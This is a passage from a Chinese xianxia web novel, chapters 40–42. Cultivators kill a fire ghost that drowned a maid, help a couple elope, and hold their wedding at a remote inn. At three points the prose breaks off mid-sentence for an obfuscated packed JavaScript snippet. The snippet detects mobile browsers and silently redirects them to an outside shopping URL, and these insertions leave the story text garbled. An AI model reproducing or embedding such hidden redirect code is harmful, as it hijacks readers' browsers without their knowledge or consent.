曾换月“嗯嗯”了两声,把她扶着站稳:“你放心,方才师姐叫我去外室,就是为了给鬼可乘之机。” “哦……原来是这样。”邓晴这才松了口气,“对了,小翠给了我一个香囊……” 她手上依旧有分量,于是低头看去,只见一块石头:“这……” 话说另一边,石映心追着小翠绕了一段路,兜转来到后院之中,又跟着走到了池子边上,见那女鬼站在池边,脸色黑森森地看着她,却是不跑了。 石映心见她鬼气淡薄,压根不是自己的对手,便奇怪她站那做什么:“自知走投无路,不跑了?” 女鬼蹙着眉头,点点头又摇了摇头:“你不要杀我,我没有害过人……” 石映心“呵”了一声道:“你昨晚才害死了一个人,就是邓晴的丫鬟小翠……”话到这她也皱起眉头,有些不解。 等等,如果面前的女鬼是小翠的话,那害死小翠的鬼是谁? “你的意思是……邓宅里还有另一只鬼?是那只鬼杀了你?” “是、也不是……”小翠苦恼道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15797834|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我猜想杀我的应是个人。当时我从茅房出来,走到这里突然被捂住了口鼻,然后就被压着脑袋浸入水中淹死……我想若是鬼的话,何必用这般手段?而且那人的手上还有温度……” “我不知如何是好,便偷偷取出袖袋中的香囊丢入河中,期盼有人能发现事情的不对劲,可惜……好在现在是鬼月,银州鬼多,阴差没来得及勾我去地府;我鬼气淡薄,白日不可曝露,只得守在尸体边,入夜后才敢出来……” 石映心听她说得有理有据:“你的意思是,你们宅中有一只吓人的鬼,还有一个杀人的人。” 小翠连连点头,突然跪下来,朝石映心哀求道:“仙人,还请帮小翠报仇雪恨啊!” 石映心不知情况怎么就从抓一只鬼变成抓鬼又抓人了,她叹了口气道:“你放心,我答应过邓晴会帮她解决这事,一定说到做到。” “多谢仙人!” 石映心又问:“你方才为何去吓邓晴?” 小翠跪在那里很无辜:“我没有想吓小姐,不过是想借机提醒她香囊一事……大概是我鬼脸可怖,小姐又不常见鬼,才吓到了吧……” 石映心说好吧,但总觉得自己好像忘了什么…… “救命啊,走水啦!!快去救火啊——” 石映心:? 转头一看,正巧看见黑天被火光咬住了尾巴。 她来不及再顾小翠,转身往回跑去,路过邓晴的房间,里头没有人,又跑去隔壁,瞧见邓晴和何碧薰正在焦急地推搡着谁,再转眼一看,桌上趴倒了邓严王琦,地上倒着几个伺候的丫鬟。 石映心跑进去问:“我师妹和师兄在哪?” 何碧薰见她来了,先松了口气,又连忙说:“二位仙人去救火了。” 石映心转身就跑。 跑了没两步就看见天上飘着一艘云舟,正在哗哗下着大雨,石映心没忍住挑了下眉,心说这船还真有派上用场的时候,是她先前有偏见了。过了拐角,就见迎面飘来一个黑影,后边的屋子里跑出来她师妹,举着符箓大声叫嚷着: “别跑!” 那黑影见了突然冒出来的石映心,猛然顿在了原地,很有眼力见地转头跑进了隔壁的房间,这时候曾换月也瞧见她了,连忙喊道:“师姐,就是那只鬼放的火!快抓住他!!” 石映心便跟着黑影进了屋,正巧见他手心攥着一团火烧在床幔上,火苗以骇人的速度从小拇指大眨眼间烧尽了一半的床幔,并且越烧越烈。见石映心追来,那黑影手里抓起一团火球朝她砸来—— 石映心顺手把火球劈开,火球变成了两半,一半落在桌上,如鱼得水、如火得木,烧得很开心;另一半落在书格上,哇,那就更壮观了。 石映心:…… 不管了,杀鬼要紧。于是跟着黑影跳出了已经被染了火苗的窗户。 顾梦真抱着一堆册子从灭完火的书房里跑出来,转头看见那边的屋子的也燃起了大火,他两眼一晕,连忙指挥着云舟往那处飞,这会又和急匆匆跑来的小师妹遇上,后者问:“师姐呢?” “不知道啊,我忙着救火!” 曾换月一跺脚:“哎呀!” 又忙忙碌碌寻师姐去了。 40. 第 40 章 石映心追了黑影一会,并不是她追不上,只是她见识了这鬼四处点火的威力之后便不敢随意动手,这会终于追到了前院中,周围一片宽阔之地,便是打架的好时机了。 只见她随意将手中的帝血剑往前一抛,拿剑咻地穿过火鬼的脖颈,将其身首分离。鬼自然没有那么好啥,只见它不过是停滞了一会,脖颈处烧起了一圈火焰,进而席卷了全身,完全变成了一个火影,那本应落掉的脑袋还是安然无恙的。 帝血剑挡在前方,火鬼转过身来,看向那个并不慌张的少女。 石映心先是问:“是你杀了小翠?” 火鬼的声音沙哑,仿佛嗓子也被烧过了:“没错,就是我!” 石映心又问:“是你吓唬邓晴?” “是又如何?” 石映心点点头:“没如何,我只是确认自己没找错鬼。” 火鬼闻言,莫名哈哈大笑起来,因其声音呕哑嘲哳,听着也像哭:“哈哈哈哈!难道你是想替她报仇?” “算是吧。” “不过一个下贱丫鬟的命,哪里配得上‘报仇’一词!?” “她是谁不重要,”不知何时,帝血剑已回到了石映心的手中,“重要的是我要杀谁。” 没啥好说了,那就打吧。 一人一鬼先是试探几招,主要表现在石映心砍它脑袋看它胳膊砍它腿到处乱砍,但砍火鬼就像砍火,砍火就像砍风,毫无可实质落剑点,砍断的地方火苗再一蹿——又好了。 石映心的袖子上还沾了一些火焰,她用手压灭了。瞧着面前虽有些耗损和疲惫但依旧可以嘚瑟的火鬼,她心说难道真要用那办法了?虽然有些麻烦,但……好吧。 就见她将右手握剑立在身前,左手竖两指沿着剑身往上划去,嘴里依稀念念有词,眨眼间指尖过了剑尖,又反手转来掐了个指诀,双眼一定,毅然念道:“呼风唤雨!” 霎时剑上生出一道雷光,竟直冲天际,照亮了一线黑天,火鬼怔然地仰头望去,几息之间就有乌云聚集而来,将黑天遮成阴的,之间似有雷光游过——显然是下雨的预警! 水能灭火,小儿也知晓。火鬼见状不妙,怒骂一声就要往屋里跑去,石映心都用上师父真传的大招了,岂能这么轻易放它走?一人一鬼就这么你追我赶起来。 火鬼干脆在四处的花草树木上点火,石映心全然不管,反正等会就下雨了,就是这些花草都烧光了也能再种啊;又朝她扔火球,这就更简单了,接球似的劈开就是;更要死的时候就是整只鬼张牙舞爪地扑上来,被石映心从下至上劈成两半—— 虽然是死不了,但复原也耗费鬼力。 咚。 天上开始落下几滴雨来,有一滴落在着火的叶上;有一滴落在被火鬼踩得干裂的地上;还有一滴落在火鬼的头上,发出一缕烟气。 火鬼暗道不妙,闪身躲过一剑,余光瞥见石映心身后的方向跑来两个身影,心念一动,蓦地转身朝那可恶的剑修贴脸逼近,与此同时裂开嘴巴吐出一大串火焰来—— 火势袭面,石映心猝不及防往后一躲,挥手散开着到脸上的火苗,再定睛看去,火鬼已经离曾换月只有几步距离了,正伸手往她捉去。 师妹惊慌捞出一张符箓往火鬼身上一贴,只见符箓化作水浇灭了……火鬼的两根手指头。 这时候的曾换月第一次如此深刻地为自己不靠谱的符箓质量感到懊恼羞愧,以往只觉得一张不行那就再一张,再一张不行那就再再一张,再再一张不行那就再再再……总之,多画几张不就行了! 可事到如今她才发现,画几张不是问题,问题是她根本没时间拿啊—— “师姐救命啊!!” 她师姐正赶来呢,但就在那火苗烧到她鼻尖的时候,她后边那个身影忽地将她推开,猛然往火鬼身上一跳,竟死死地抱住了这团火焰! “啊!”曾换月被推了一把好险没站稳,“小翠!” 小翠宛如一只溺水之人抱住了救命的浮木——虽然她其实是溺水而死的鬼,大概因此死因,她身上居然有水渗透出来,浇得火焰滋啦作响,火鬼扒拉不开她,痛得嚎啕大喊:“啊!啊!疼啊!!” 她浇灭火鬼的同时,自身也在被火焰燃烧着,面色变得越发狰狞、越像一只恶鬼,她用这痛苦的躯体恶狠狠地说:“你凭什么杀我!你凭什么杀我?丫鬟的命不是命?丫鬟的命不是命!” 石映心提剑赶来,看见小翠的鬼身已经焦黑了一半,火鬼身上躯干部分的火焰也灭了许多,若是趁此时杀了火鬼……只是小翠抱得太近,一不小心的话…… “师姐!”师妹跑过来焦急道,“师姐,你救救小翠!” 石映心转头看她,正要说什么,老天奶的倾盆大雨终于蓄势好,一鼓作气地倒了下来。 火鬼避无可避,被雨水浇的奄奄一息;小翠也失去了力气,从它身上掉了下来。二者总算分离,石映心不再犹豫,一剑将火鬼斩首,又将脑袋用剑挑远了一些,这次总算不再复原了,她打量了一下,发现这火鬼的黑原来是焦黑。 所以……这是被烧死的人化作的鬼? 完全看不出生前的模样了。 “小翠,小翠!”师妹在小翠边上叫她,“小翠,你没事吧!?” 小翠奄奄一息道:“我总算……报仇了……” “你别死啊!”曾换月已经哭了起来,“你方才不该救我的!” 小翠嘴角微抽,大概是想笑:“他杀了我,还说我命贱……我死前发誓……做鬼也不会放过他……” 石映心确认道:“你怎么知道他是杀你的人……鬼?” “我知道……”小翠说,“一看到他……我就知道……” 曾换月:“呜呜呜……你何必呢?留着魂魄去投胎不好吗?” 小翠的声音越发虚弱:“大概是……一时糊涂……不过……我不后悔……” 石映心瞧见师妹泪眼婆娑地看着自己,都猜到她接下来要说什么了:“师姐,你想想办法呜呜呜……” 石映心哪里遇见过这情况,抓抓脸蹲下来,见小翠的鬼气在消散,便试着用灵力包裹住小翠全身,让这些鬼气不散走,然后——然后就不知道了啊。 她想了会,忽然想起什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15802024|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么:“对了,要不我问问大师兄。” 曾换月抽抽鼻子:“传音符传回归壹派起码要一个时辰……” “大师兄就在银州署。” 石映心淡定地从包包里拿出一张传音符,正要施法,似有所感地抬头一看,她大师兄就站在对边的屋檐上,抱着剑看着她。见她看来,便不再袖手旁观,飞身而下。 曾换月见明易突然冒出来,无异于见了鬼:“大师兄!你怎么在这?” 石映心朝明易神秘一笑:“大师兄一直跟着我们。” 明易避开她的视线,瞥了眼地上的小翠道:“她鬼气淡薄,如果尽快送她去地府,可能还有一线生机。” 曾换月:“啊?地府怎么去啊?” “阴阳路有通往地府的鬼门关。”明易这么说着,一手抬在小翠上空,掌心一开,下方出现了一个悬浮的铃铛,他轻轻摇铃,就见小翠渐渐化作一缕缕黑气往铃铛而去,不一会儿便不见了鬼影,而明易手心的铃铛则不再出声。 曾换月欣喜地和石映心道:“师姐,是摄魂铃!” 石映心点了点头。 收好装了小翠的摄魂铃,明易对两个师妹道:“我送她去阴阳路,你们留在这继续完成任务。” 石映心说任务很快要完成了。 明易轻挑眉:“最好是。”说完便飞走了。 石映心:? 曾换月觉得有大师兄在,小翠一定有救的,哭得惨兮兮的脸上一下子又笑开来,拉着石映心问:“师姐,你一直知道大师兄在跟着我们吗?” “嗯。” “什么时候跟上的?我一点没有察觉。” 石映心正要和她解释,就听见叫喊声,抬首一看,顾梦真等人正往这边跑来;与此同时,她呼风唤雨来的乌云已经散去,月色亮透夜空晴朗,光照人间,无人在意的地方火鬼早已魂飞魄散,只留下黑糊糊的一条人形。 一大群人会面,问长问短了一会,因夜色已深、众人疲累,便决定先回去好好休息,隔日早上再议。 师兄妹三人倒头就睡。 隔日早上。 曾换月被师姐叫醒,简单洗漱了一会,和师姐一起用早膳。 “哈……”她喝了口豆浆,又打了个哈欠,困顿道,“这知州大人的豪宅确实不错,锦缎被褥,可也没有家里的狗窝舒服。” 石映心点头表示赞同:“我们很快便能回去了。” “是啊。”曾换月闻言一笑,“现在恶鬼的事情解决了,邓小姐又答应成全何姑娘,想来我们的任务很快便能完成了!” 石映心也这么觉得。 用完膳没多久,就有丫鬟来通报,说邓大人邓夫人有请;出了门又碰见顾梦真,三人便兴高采烈地打算去“邀功”。 书房和厅堂被烧得很干净,三人路过的时候还瞧见有一些下人在进进出出地收拾和修缮,昨晚幸好有顾梦真的降雨云舟帮忙,只是损失了一些家财,并没有人受伤。 三人跟着丫鬟去了东厢房,进门的时候赶巧碰上贾庆升和何碧莲对邓老爷邓夫人四膝跪地,惊得他们愣在了门口。 41. 第 41 章 “大人!”贾庆升大声中有些抽泣,“贾某深知对不住大人的提携,只是情字一词并非小人能掌控。邓小姐才貌双全、秀外慧中,贾某对她万分欣赏,在遇到何姑娘之前,也真心觉得能娶到邓小姐是贾某的福气,只是、只是……” 说罢看向跪在他身边的何碧薰。 何碧薰早已泪流满面,对着邓家夫妇拜了一下:“小女自知卑劣,但并非有意夺人之爱,苦苦寻人百余年,不曾想今生是这般景况,实在不知如何是好,只能任打任罚,厚着脸皮请求大人和夫人成全……” 邓晴站在王琦边上,帮着劝道:“爹,娘,晴儿对贾秀才也没有多少感情,天下男儿这般多,少了这一个不真心待我的,还怕找不到下一个?” “闭嘴!”邓严轻喝一声,忽然瞧见门口的三人,又转声笑道,“三位仙人来了?请进、请进。” 三人面面相觑一眼,进屋绕过跪着的两人,坐到了边上。 顾梦真瞥了眼那对苦命鸳鸯,斟酌道:“那个……其实我们这次是为了何姑娘和贾秀才一事而来……” “老夫还没感谢三位仙人昨晚的救命救火之恩!”邓严和蔼笑道,“不知三位想要什么奖赏?” 顾梦真:“额……” 石映心:“我要你成全他们二人。” 邓严和王琦都是一愣,没想到她说话这么直白,邓严叹了口气,苦恼道:“石仙人,婚姻并非儿戏,贾庆升要入赘我邓家一事早已是众所皆知的事,虽说还未公告天下,但与我相熟的亲友皆知……如今你让我……” 石映心瞥了眼邓晴:“那你可曾想过,若不是我们救了你邓家小姐,救了你邓家的火,你们还能剩几条命来办婚事?” 邓严:! “这……” 王琦不知道某人说话就这脾性,以为她生气了,连忙打圆场道:“石仙人别急,我和老爷并不是不答应的意思,只不过……此事还需好好商议,毕竟关乎我家晴儿的清白,又关乎银州署的脸面,定要找个合适妥当的方法才好……” 石映心听不明白这些弯弯绕绕,她就想知道一个结果:“什么办法?” “还没想好……” “要想多久?” 王琦和邓严对视一眼,小心道:“最少也要十天半个月的……” “是啊,”邓严仿佛灵光一闪,眼前一亮,“鬼月还没过去,前日晚上那三具被剥皮的尸体也未寻得凶手,如今银州署日夜繁忙,我也是焦头烂额,实在无心考虑此事……要不这样,三位仙人再帮帮老夫的忙,捉了这些害人的鬼,过了鬼月这关之后,再议贾秀才和……” 砰! “喂!”曾换月听不下去了,拍桌而起,气愤地指着邓严道,“好你个邓大人,居然想得寸进尺?捉一只鬼就算了还想我们捉一个月的鬼?支支吾吾、推三阻四,连一句准信都不给,你当我们是冤大头啊?” “就是!”顾梦真也站起来气道,“实话跟你说了,我们帮你邓家的忙就是看在何姑娘的份上,若不是她要找夫君,我们才不来银州署!你现在是什么意思?卸磨杀驴吗?” 邓严是什么身份,被这么谴责自觉下不了面子,脸色微僵,梗着脖子道:“三位仙人何必如此谴责本官?若是你们早说代价是要我这夫婿……那我还不一定接受你们的帮助!” 三人:!? 哇哇哇,气死了,世上竟有如此厚颜无耻之人! 邓晴从没想过会从一向公正严明的父亲嘴里听到这样的话,不可置信地摇了摇头道:“爹,你怎么能这么说?” 邓严:“晴儿,此事你不用再管。” “我不用管?这是我的婚姻大事,为何我不用管?”她不理解地摇了摇脑袋,“先前你也同我说过,夫婿是谁不重要,你和娘会疼爱我一辈子……” “晴儿啊,”邓严长叹一口气,“即合你心意,又合爹心意的人不好找啊。庆升昨晚不顾安危去救火,救下了爹许多重要书册;如今又肯为一凡人女子舍弃荣华富贵,如此有勇有情之人……做你的夫婿不好吗?” “他是为了别人!” “不是谁都能这般为别人的。” 邓晴:…… 跪在下边的贾庆升…… 怪他太优秀? 好了,话说到这里没什么好说的了,师兄妹三人气呼呼地拉着苦命鸳鸯离去;邓严说公务繁忙也走了;邓晴则是被王琦拉着说小话。 回到屋里,把跟来的几个丫鬟关在门外,几人大眼瞪小眼起来。 瞪累了,石映心坐下来喝了口茶,幽幽地看向贾庆升:“现在你怎么想?” 贾庆升和何碧薰对视一眼,很苦命地朝她一笑:“贾某……唉,实在也不知如何是好,一切都听三位仙人的吩咐。” 曾换月便说:“既然你不贪这荣华富贵,那就和何姑娘私奔吧,离开银州重新开始。” 顾梦真眼前一亮:“对,私奔!” “我自然是愿意的。”贾庆升立刻答应下来,又看向何碧薰,“只是不知何姑娘是否愿意陪我颠沛流离……” 何碧薰眼里又泛起泪花:“我寻你这么久,所求不过是长相厮守……” “好好好!”曾换月鼓起掌来,“既然如此,根本不用管那邓严是什么意见,直接走了便是!” 顾梦真:“就是就是,他们能奈我们何?” 石映心:“今晚就走。” 好像大家都很赶时间,反正事情就这么粗暴地决定了。曾换月还细心地问:“对了贾秀才,我记得先前你身边有个小厮……要不带他一起走?” 贾庆升摇摇头道:“实不相瞒,那名小厮被邓大人以粗鄙为由打发走了,不过看在我的面上,倒是给他在银州寻了个好差事。之后我的路不知是否安稳,不如就让他在银州好好谋生、成家立业,何必要再做我的随从、低人一等?” 曾换月听此,不得不赞同道:“你确实是个有情有义的人。” 贾庆升苦笑一声:“我的情义,比不上何姑娘半分……” “贾公子……” “何姑娘……” 曾换月:…… 这就秀上恩爱了? 三人记起还有些东西落在客栈了,所以临行前要去取来,到了客栈,曾换月才想起玄猫的事,到处找了找没找到:“师姐,猫不见了。” 石映心说:“其实这猫……” 话音未落,门口进来一人,正是明易。 “大师兄!”曾换月连忙追过去问,“小翠怎么样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15807898|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” 明易颔首道:“保住了一命,在地府修养好魂魄之后,便能入六道轮回了。” 曾换月狠狠地松下一口气来:“太好了、太好了……对了大师兄,你什么时候开始跟着我们的?” 明易瞧见石映心直勾勾地盯着他,默了默道:“师父担心你们三人出事,便派我来看守,不过我不会参与你们的任务。” “哦……”曾换月点点头说,“我们任务就要完成了,大师兄你也别藏了,正大光明地跟着呗……对了,我去和二师兄说!”说着就跑出去了。 屋里就剩下二人。 明易杵在那,看石映心去床上拿起收拾好的包包背上,然后从包上用两根手指头拈了什么起来,走过来道:“师兄你看,是猫毛。” 他正要定睛看去,石映心却抬起手来把猫毛往他发上一插:“还你。” 明易:…… 他下意识往那处头发拂了一下,自知露馅,只好问:“你什么时候发现的?” “一早就发现了。” 明易虽也有猜想,但先前不确定,见她承认,进一步确认道:“所以你对我施定身术时已经知道我是……” 石映心眨眼:“是啊。” 明易:。 他竟然觉得有些好笑:“那你还明知故犯?” “师兄,我帮你隐瞒身份欺骗二师兄和师妹,你怎么还责怪我?”石映心蹙眉谴责,“唉,下次我直说好了。” 明易被她的理所当然给整得语塞又无奈,究其源头又确实是他隐瞒在先,当猫后的遭遇……怎么不算自讨苦吃? “我知道你帮我隐瞒不过是觉得好玩,倒不必这么言之凿凿。”明易哪里不晓得她的脾性,摇摇头道,“我化身为猫是担心被你发现气息,并不是有意欺骗。” 石映心点点头:“我知道。” 又说:“不过我照了那猫,发现照不出来,就知道是你了。” “……你还照猫?” “我只是好奇它到底想干什么。” 明易没想到还会有因为“照不到”而吃亏的时候,心说她这能力真叫人头疼,叹气道:“是我失策……你别告诉他们两个。” 石映心哼哼一笑:“师兄你觉得丢脸吗?” “……拜你所赐。” 石映心好说话地答应下来。 顾梦真收拾好东西过来,果然瞧见大师兄在,他本来是挺高兴的,还乐呵呵地打招呼,突然想到什么,嘀嘀咕咕道:“什么啊,师父叫我下来捉换月,又叫你下来监督我们仨,那不是压根没信任我?” 明易不客气道:“难道你没有辜负师父的信任?” 顾梦真一噎:“我、那曾换月就是不肯跟我回去怎么办!” 明易挑眉:“若是她肯还用叫你来捉?” 顾梦真:。 曾换月嚷嚷起来:“我只是想帮师姐的忙!再说我看其他师姐师兄也是好几个人一起下山做任务的……” “那是元婴期的一阶任务。”明易戳破她避重就轻的借口,“想和你师姐一起,不如在山上好好修炼,早日破镜入元婴,到时候正大光明地下山,也不必辛苦一趟回去还要挨骂。” 曾换月:。 都闭嘴吧。 42. 第 42 章 石映心见二师兄和小师妹都被骂了,也没有帮忙说一句话的意思,毕竟大师兄有理有据的,她干嘛多此一嘴把战火惹到自己身上呢?更何况现在有更重要的事:“天黑了,我们快回银州署吧。” 自然不能耽误正事,几人便趁着夜色飞回了银州署,苦命鸳鸯已经收拾好行囊在那里等着他们了。 对仙人来说,帮人私奔不要太简单。先是放倒了二人屋外看守他们的仆役,然后坐上顾梦真的大鹏展翅,如此便能轻松地逃出银州署了;大概邓严也没料到自诩正派的归壹派弟子们会做出这般不打一声招呼就把人掳走的强盗行径。 “正派之人最好拿捏。”邓严得空在院中散步,和长随这般笑道,“他们虽仙法高超,但做事都一板一眼的,从不逾矩;还怕自身行径有辱师门名誉,自是不敢乱来。” 长随点头哈腰地笑着:“大人英明,难怪放任他们肆意行动。等我们借了仙人之力捉下几只害人之鬼,届时大人就要名扬天下、步步高升啊!” “哈哈哈哈哈!今夜月色真不错……”邓严很受用地大笑起来,举头望月,瞧见有一硕大的鸟影划过圆月,“咦,你瞧,空中飞过好大一只雁!” 长随连忙道:“这是吉兆啊大人!” “哈哈哈哈哈!本官也觉得如此!” * 大鹏展翅将几人送到了银州的州界之外,落脚一间旅舍前。 第一次体验飞天的苦命鸳鸯双爪着地后还有些心有余悸,贾庆升脸色苍白、额头冒汗;何碧薰比他胆子大一些,很快恢复了寻常模样,甚至精神气还挺足的呢,神采奕奕的,大概是高兴的吧。 “碧薰多谢几位仙人相助!” 她又给要给几人行礼,被曾换月制止住:“不谢不谢,都是应该的。看见你们二人有情人终成眷属,我们心里也高兴。” 顾梦真说:“是啊是啊,皇天不负有心人那。” 趁着她们说话的时候,石映心拿出木牌看了看,就见木牌还是闪着光发着热,和先前没有什么分别?她小声问明易:“大师兄,怎样才算完成了任务?” 明易垂眸看了眼木牌,低声道:“等因果牌上的字消失了便算。” 石映心又低头看去,一个字都没消失啊:“他们已经比翼双飞了,这样难道不算完成任务了?” 明易轻轻摇头表示自己也不清楚。 石映心就把师妹拉过来说了此事,曾换月虽有些疑惑,不过她是很有想法的:“在凡人话本里,拜堂成亲了才算是圆满大结局!” 石映心点点头表示明白了,然后往前走两步在相谈甚欢的三人中插了句嘴:“你们什么时候拜堂成亲?我看就今晚吧。” 二人:?! 面对她的粗暴要求,他们先是支吾了一番,大概就说“现在不是好时候,忙着逃亡啊”“婚姻大事不是儿戏,要好好筹备”巴拉巴拉,但石映心的态度特别强硬,二人拒绝恩人无果,只好答应下来。 何碧薰提议道:“如今的情况,婚礼不宜在白日操办,怕惹人注目……后天是十五,不如就后天晚上如何?正好月色明亮,亮堂些好。” 多等两天也不是不行,石映心正要同意,贾庆升却说:“薰娘,我看几位仙人贵人事忙,很是赶时间,不如就明晚吧?十四十五的月色也差不了多少。而且早一日成完亲,我们就能早一日离开这里,就怕迟则有变……” 何碧薰沉吟片刻,笑着答应下来:“对我来说,什么时候都好,只要是和你在一起。” “薰娘……” “庆升……” 石映心:“好了事情就这么决定了。” 当晚她们便在旅舍暂住,这家旅舍位置有些偏僻,顾客不多,听说她们明晚要办喜事,店家倒是高兴地应和下来,说是这店开了二十多年了,还是第一次有人在这办喜事呢。 店家搓搓手,笑眯眯道:“在鬼月成亲的很少见啊,不过也好,用喜事冲冲鬼气嘛!既然这样,明日那些酒席的费用我就算你们便宜些。” 石映心:“多谢,多少?” 店家说了个数字。 石映心:掏钱中…… 顾梦真把她拉开,“咳咳”两声就和店家讨价还价起来:“不是我说啊老板,你这店地处偏僻,环境简陋,客人都没几个;我们也不是小气的人,明晚办了婚宴,定是要请你还有店里那些小二啊客人啊一起吃的,沾沾喜气嘛,都没算你们礼金呢……” 石映心没结过婚,哪里知道办酒席要多少钱,见他说什么“给你便宜些”就以为是真得了便宜了;这会看二师兄和店家压价,听得一愣一愣的,手还在包里捞着银两没伸出来呢。 曾换月打了个哈欠,挽住她胳膊往楼上走:“师姐,这里就交给二师兄好了,我们快睡觉去吧,哈……” “……哦,好。” 隔天她们要去银州帮鸳鸯买些成亲要用的东西,哪怕何碧薰很歉疚地说了好几次不用了、不麻烦了,但曾换月觉得起码要整上婚服吧?红红火火的喜庆一些。 又宽慰她说:“我们今日草率地帮你们私定了终身,也有些难言之隐,日后等你们过上安稳日子了,再大办一场好了。” 何碧薰泪眼汪汪地说:“其实我不在意这些的。” 曾换月:我在意,我想凑热闹。 明易帮着店家给店里贴红字、挂斗账等;顾梦真则是四处给店里的顾客发贾秀才临时写的请帖,热情地说今晚有喜事,走过路过别错过,都来免费吃席啊;平日冷清的旅店后厨这会热闹非凡,都是颠锅炒菜的声音,时不时有香喷喷的浓烟冒过来。 忙忙碌碌一个白天,不知何时日头落山了。 石映心坐在床边,看身穿嫁衣的何碧薰在对着镜子给自己化妆。铜镜之中,女人的脸瞧不出往日的苍白,面上最艳丽的红是她唇妆,微微上扬的嘴角显出一些不动声色的愉悦。 她照着镜子,镜子也想照她。 石映心很好奇一个苦苦寻了爱人三世、只在话本故事中见过的深情之人,历经沧桑别离、爱而不得之后如今终于要美梦成真了,心中会是如何的高兴呢? 那就照—— 镜灵双眼一眨,下一刻便黛玉捧心,秀眉紧蹙地吃疼起来,她感觉自己的心先被人压扁成一张纸片,然后被撕成一条一条一块一块,接着又跟捏泥巴人似地被团巴团巴起来……疼得搓圆揉扁。 石映心额上瞬间大汗淋漓,面色苍白,慌不迭地把这心痛给抛去,好险才喘上来一口气…… “石仙人,你没事吧?”见她有异样,新娘子连忙凑过来关心。 石映心心说你才没事吧?夫君都给你找到了,你还苦巴巴什么,她是想快活一下才照她的…… “……没事,你好好准备,”石映心抹了把汗,站起来道,“我出去透透气。” 何碧薰也不好多问:“好。” 看着被关上的门,新娘微蹙的秀眉依旧没有散开。 石映心去了外边,看见师妹在那里排练婚礼祝词,走过去和她说了这事。 曾换月闻言,做出心疼的表情:“唉,太苦了,太苦了!估计何姑娘到现在都不敢置信自己将要有情人终成眷属吧!这其中的苦楚,苦楚中的真爱,竟是这般心痛呜呜呜呜!” “……是这样吗?” “是啊是啊,这是多难得的真情啊!世间少有!”曾换月拍拍她肩膀,“师姐,你这次照得值哦。” 石映心挠挠脸,转身走了。 她走下楼,看见大师兄和二师兄都在忙着操办喜事,她便没有打扰,出了客栈大门,又瞧见贾庆升站在院门口望着远方,那身艳丽的新郎长衫在荒郊野岭中格外显眼,夜色却衬出了几分森森。 似乎是听见了脚步声,贾庆升转过头来,看见是石仙人,微微忧愁的脸色笑开:“石仙人有何吩咐?” 经过新娘子那一茬,石映心不想再照他了,干脆问:“婚宴就要开始,你在这看什么?” 贾庆升长长叹出一口气来:“在下也不知要看什么,思绪有些繁杂……一会儿想起远在家乡的年迈爹娘,一会想起邓大人和邓小姐,一会儿又觉得一切如梦,我大器未成,竟就要成亲了。” 幸好没照他:“……你想得还挺多。” 贾庆升朝她一笑:“石仙人,你们修仙之人是不是都心无旁骛、不染凡尘,一心修炼的?” “不知道。” 贾秀才声音微微低沉:“这两日与几位仙人打交道,我常常自弃无用,艳羡你们仙法高超,能保护想保护的人、做想做的事,来去如风,不必在意他人如何……可惜今生已是这般凡人,这条不归之路也已行至途中。” 石映心:? 这两个人怎么回事,成亲大喜之事,一个心痛如绞,一个千愁万绪,不知道的还以为办的是丧事呢!和话本里写的完全不一样。难道真的是她不懂了? 凡人真复杂。 算了,不关她的事,等这两只鸟成了亲,她立刻就要回门派! 若是旁人在这,见他这般哀愁,定是要安慰几句的;比如换做是曾换月,大概会觉得这两人患上了婚前恐惧症,然后巴拉巴拉劝说一番,让他别想太多,高高兴兴地成亲吧……可惜,在这的是石映心。 所以等贾秀才回过神来,面前已经没人了,夜风扫来一片阴冷,他仰头望月,十四的月亮确 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曾换月举起手中的茶盏,隔空敬了一圈:“让我们发自内心地祝愿他们,从今以后能够执子之手、与子偕老,做一对比翼双飞的神仙眷侣!” 气氛成功被她烘托到高潮,场下响起鼓掌声、叫好声,宾客们举起手中的茶盏、酒杯,纷纷朝新人祝贺。 二位新人则是先朝曾换月鞠了一躬,又转来朝宾客们鞠了一躬;贾庆升拿起酒杯痛饮而下,笑容很畅快。 不是那么正经的成亲仪式,于是也少了许多繁杂的习俗,曾换月直接道:“两位新人楼上请吧,已经备好了美酒佳肴。” 有宾客朗声道:“就是粗茶淡饭,这会也是人间至味那!” “哈哈哈哈哈!” 在大伙的打趣笑声中,新郎官牵着新娘,小心地上了台阶。 明易见两身红衣进了屋里便收回了视线,看见坐在面前的石映心正盯着桌上的木牌看,此时的因果牌依旧在一闪一闪地发着光,但似乎暗淡了许多,她感受到视线,抬眼看来:“大师兄,少了一句诗。” 明易也是松了口气:“也许等明日诗词便会完全消失了。” 